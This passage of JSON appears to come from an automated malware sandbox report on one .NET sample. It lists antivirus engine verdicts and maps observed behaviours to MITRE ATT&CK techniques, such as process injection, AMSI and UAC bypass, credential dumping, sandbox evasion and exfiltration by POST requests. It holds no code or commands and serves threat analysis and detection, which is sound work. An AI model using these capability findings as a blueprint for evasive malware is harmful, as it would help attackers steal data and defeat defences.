"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"Malicious","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/MSIL_Agent.KBL.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.MSIL_Heur.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.MSIL.Basic.8","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Able to execute applications using .NET process API"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains reference to multiple windows system processes"},{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve type of COM object"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Persistence","technique":"Transport Agent","attack_id":"T1505.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1505/002","identifiers":[{"type":"informative","value":"Able to establish persistence using Exchange transport agent (.NET)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"},{"type":"malicious","value":"Script loads executable in memory (Antimalware Scan Interface)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"informative","value":"Contains ability to bypass UAC using COM object (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Can load assembly that contains the code that is currently executing (Dotnet)"},{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to retrieve key from a password using PBKDF1 algorithm"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"YARA signature match - RSA algorithm (keys)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Contains ability to load content from resource"},{"type":"informative","value":"Contains CRYPTO related strings"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"malicious","value":"Tries to hide tracks of having downloaded a file from the internet"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Defense Evasion","technique":"InstallUtil","attack_id":"T1218.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1218/004","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Defense Evasion","technique":"Masquerade File Type","attack_id":"T1036.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/008","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file structure"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"malicious","value":"Attempts to identify external IP address"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Able to retrieve running process details (.NET)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Able to list processes on remote desktop session host"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Able to query service configuration on system (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Able to modify Remote Configuration"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Able to perform SQL operations"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain custom Base62 strings"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"GETs files from a web server (PE files)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Upload file using POST request"},{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"POSTs data to a web server"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted 